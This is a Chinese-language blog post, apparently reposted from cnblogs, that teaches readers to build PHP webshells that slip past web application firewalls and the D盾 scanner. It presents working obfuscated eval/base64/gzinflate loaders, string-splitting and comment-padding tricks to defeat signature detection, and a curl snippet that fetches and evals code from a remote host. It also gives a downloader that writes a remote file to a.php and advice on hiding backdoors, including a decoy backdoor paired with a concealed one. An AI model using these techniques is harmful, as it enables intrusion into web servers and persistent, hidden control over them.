webshell 常见 Bypass waf 技巧总结
在渗透学习的过程中,总会遇到各种情况,例如 php 大马被 waf 拦截的时候,那么如何制作免杀 php webshell 呢,接下来就由我带各位小伙伴们一起踏上大马免杀之路,不喜勿喷。
一篇好的文章,内容可以差,目录一定要 ~~ 吹牛 ~~ 真实。
一. webshell 免杀
0x0 php 内置函数加密
小例子: 在制作免杀大马之前,我们先来看看,一个带后门
的免杀 php 大马是如何制作的。
在后门网站 webshell8
下载好大马。
去掉那些混淆代码 .
''
可以看到他大概是这样的。
<?php
eval(gzinflate(base64_decode('大马源码')));
?>
有些小伙伴看到这里可能有些晕晕的,关于这款大马的分析,我博客文章
http://kaurkd.coding.me/2018/03/17/%E5%88%86%E6%9E%90%E6%9F%90%E8%BF%87waf%E5%A4%A7%E9%A9%AC/#more
分析过了了,就不再啰嗦了。关于这篇文章提一下使用 echo
print_r
打印出来还是乱或者弹个小框框的时候,burp
抓包很方便。
源码加密
php 内置加密函数,其实就是那些编码压缩之类的函数,如下常见的函数
压缩函数: gzcompress gzdeflate gzencode base64_encode
解压函数: gzuncompress gzinflate gzdecode base64_decode
搭配加密函数,随意搭配,多层加密也 OK。
base64_encode(gzcompress($code))
base64_encode(gzdeflate($code));
我简单写了个脚本,大家对应修改就OK
$code= file_get_contents('D:\phpStudy\WWW\Test\Zlib\help.txt'); //大马源码路径
$encode = base64_encode(gzdeflate($code)); //加密函数自己修改就行
echo $encode; //输出加密后代码
我演示一遍
把大马去掉 <?php
?>
保存为 txt
加密后:
运行encode.php
在浏览器上得到加密
复制到代码中
OK 没问题
接下来的问题就是关键字免杀的问题
eval(gzinflate(base64_decode()))
我直接用那款大马混淆过的关键字拿来用
$password='';$html='$password'.'='."'".$password."';".'@e#html'.''.'v'."".''.''."".''.''.''.'a'.''.'l('.'g'.''."".''.''.'z'.'i'.''.''.'n'.'f'.'l'.''.''."".'a'.'t'.'e(b'.'as'.''.''.''."".''.'e'.'6'.''."".''."".""."".''.'4_'.'d'.'e'.'c'.''.''.''."".''."".'o'.'d'.'e'.'('."'加密后的代码')));";$css=base64_decode("Q3JlYXRlX0Z1bmN0aW9u");$style=$css('',preg_replace("/#html/","",$html));$style();/*));.'<linkrel="stylesheet"href="$#css"/>';*/
0x1 php 自定义加密
一图胜千言
0x2 敏感函数免杀
主要是关键字的免杀,我一般直接偷网上带后门大马的。分享一个思路
这是love71
表哥分享的
<?php
$l='baSe6';
$o='4_dE';
$v='cO';
$e='DE';
$love=$l.$o.$v.$e;
$a=$love('PHP大马BASE64加密内容');
eval($a=$a);
?>
我的思路很简单,把下面这段 base64
加密后
eval(gzinflate(base64_decode('大马加密后')));
然后嵌套到上面的代码
用 D 盾查杀 1 级
那么如何让 D 盾完全免杀呢,我简单修改了下。
<?php
$l='baSe6';
$o='4_dE';
$v='cO';
$e='DE';
$love=$l.$o.$v.$e;
$a=$love('PHP大马BASE64加密内容');
eval/**/(/**/(/**/$a=$a)/**/);
这让我想起,D 哥的一条微博,不禁菊花一紧。。
且用且珍惜。
二. 更小更方便
为了减小大马体积,我们常常使用 php 读取网络文件 curl
, fsockopen
,file_get_contents
函数,这样的大马整体体积甚至只有几百字节
,但是要注意,目标网站要是禁用了,远程读取的某个函数
,别喷我这样的大马根本不法运行,还有读取效率问题。
0x3 服务器远程读取
此段代码(抄袭)借鉴自 szrzvdny
表哥
$ch = curl_init(); //初始化函数
$timeout = 5; //设置超时
curl_setopt ($ch, CURLOPT_URL, 'http://www.xxx.com/233.txt'); //设置你文件地址
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
$file_contents = curl_exec($ch); //运行curl,请求网页。
curl_close($ch);
//最后关闭curl_close();
eval($file_contents); //执行代码
233.txt 的内容,你直接把制作好的加密大马,去掉 <?php
?>
上传到网站上就 OK 了。
至于免杀问题,上面文章已经告诉你了,如果有兴趣可以去看我写的一个失败的大马文章
http://kaurkd.coding.me/2018/03/17/%E6%89%93%E9%80%A0%E4%B8%80%E6%AC%BE%E6%AF%941kb%E8%BF%98%E5%B0%8F%E7%9A%84%E5%85%8D%E6%9D%80%E5%A4%A7%E9%A9%AC/#more
扩展思路。
0x4 服务器远程下载
<?php
$a = 'http://www.xx.com/1.txt';
$b = 'file'.'_g'.'et_'.'contents';
$b = $b($a);
file_put_contents('a.php',$b);
运行后在同目录下生成 a.php
内容为 1.txt
三. 后门隐藏与去除
关于后门的隐藏我不会给详细代码,只是分享一些,常见思路罢了(表哥可以把菜刀从我脖子拿开了嘛。。)
0x5 隐藏
收信代码网站简单 base64 加密就 OK 了?
别人很容易看出的,使用自定义加密函数,来混淆,拆分,还有赋值变量,替换 &p
还有框架挂后门,xss 平台,总之一句话,各种骚加密混淆。
这个也很重要,还有一个很猥琐的思路,多后门,给个明面看的后门,暗地还有一个后门。
0x6 去除
首先,你得把大马代码解密出来,关于抓包不要本地测试,找台服务器,注释删除些代码来测试,常见后门关键字 geturl
hmlogin
等。。
总结
希望读完本篇文章对你有收获。由于我个人技术水平,无法将文章扩展开,有兴趣的表哥可以去搞搞。作者文笔不大好,有些缺漏之处,请谅解指出。
我们是站在前人的肩膀上成长起来的。
转载于:https://www.cnblogs.com/Fluorescence-tjy/p/11222166.html
webshell 常见 Bypass waf 技巧总结相关推荐
- 【WAF技巧拓展】————9、Bypass WAF Cookbook – MayIKissYou
之前一直想把零零碎碎的知识整理下来,作为知识沉淀下来,正好借着wooyun峰会的机会将之前的流程又梳理了一遍,于是就有了下文.也希望整理的内容能给甲方工作者或则白帽子带来一些收获. 0x00 概述 随 ...
- Bypass WAF:Burp插件绕过一些WAF设备
我写了一篇博客文章这个插件使用的技术在这里一会儿. 许多WAF设备可以被欺骗以相信请求来自其自身,并且因此如果存在特定头部则是可信的. 旁路方法的基本知识可以在这里的HP博客文章中找到. 我已经实现匹 ...
- 【安全漏洞】浅谈Bypass Waf (基础-实战)
前言-基础篇 在了解Bypass Waf之前,我们应该首先了解一些前置知识: 1.Waf是什么 2.Waf的类型 3.Waf的工作原理 1. Waf是什么 Waf全称为Web Application ...
- Bypass WAF Cookbook
PS.之前一直想把零零碎碎的知识整理下来,作为知识沉淀下来,正好借着wooyun峰会的机会将之前的流程又梳理了一遍,于是就有了下文.也希望整理的内容能给甲方工作者或则白帽子带来一些收获. 0x00 概 ...
- Bypass WAF常规绕过思路
BYPASS WAF BYPASS WAF概念 WAF的分类 BYPASS WAF的各种绕过姿势 Web架构层bypass WEB Server层bypass Apache 1.畸形method 2. ...
- 【WAF技巧拓展】————6、我的WafBypass之道(SQL注入篇)
0x00 前言 去年到现在就一直有人希望我出一篇关于WAF的文章,我觉得这种老生常 谈的话题也没什么可写的.很多人一遇到waf就发懵,不知如何是好,能搜到的各 种姿势也是然并卵.但是积累姿势的过程也是 ...
- vue 后台获取数据 下拉框_Vue开发中的一些常见套路和技巧
属性排放 管理请求加载状态 Proxy跨域 对developer和build的打包进行不同配置 大部分开发者都喜欢将Vue的config写在一个文件中,看起来是没有问题,但是随着环境的变化,项目优化, ...
- 电脑音箱常见故障排查技巧
电脑音箱常见故障排查技巧 <?xml:namespace prefix = o ns = "urn:schemas-microsoft-com:office:office" ...
- Perl命令行常见用法及技巧
Perl命令行常见用法及技巧 作者:懒人运维 来源: 懒人运维 替换 将所有C程序中的foo替换成bar,旧文件备份成.bak perl -p -i.bak -e 's/\bfoo\b/bar/g ...
最新文章
- 卡耐基梅隆大学计算机金融专业,卡耐基梅隆大学计算机金融硕士申请要求及专业优势...
- 20155117 王震宇 2006-2007-2 《Java程序设计》第三周学习总结
- 最终在学校的职业发展目标
- Struct2_定义拦截器并使用注解方式作用在Action的方法中
- osg图元绑定方式总结
- 转--javascript 数组
- STM32 串口接收流程-串口接收中断
- No migrations to apply.(django不能创建数据库中的表的问题)makemigrations/migrate
- 13003.数据类型转换问题(python)
- 最近ubuntu+gpu装机记录
- 3-Scala控制结构
- iOS 中关于 skip install
- luogu P1156 垃圾陷阱
- vscode调试时几个常用参数的含义和设置总结
- python与seo实战课程下载_黑帽seo教程:SEO快排套路与SEO快排Python应用编程技术(零基础)...
- coalesce函数的用法
- Xshell和xftp免费下载与使用
- elementui3
- zabbix系列:修改默认的snmp端口161
- 数据结构栈与队列的应用之汽车轮渡问题——自己的一些理解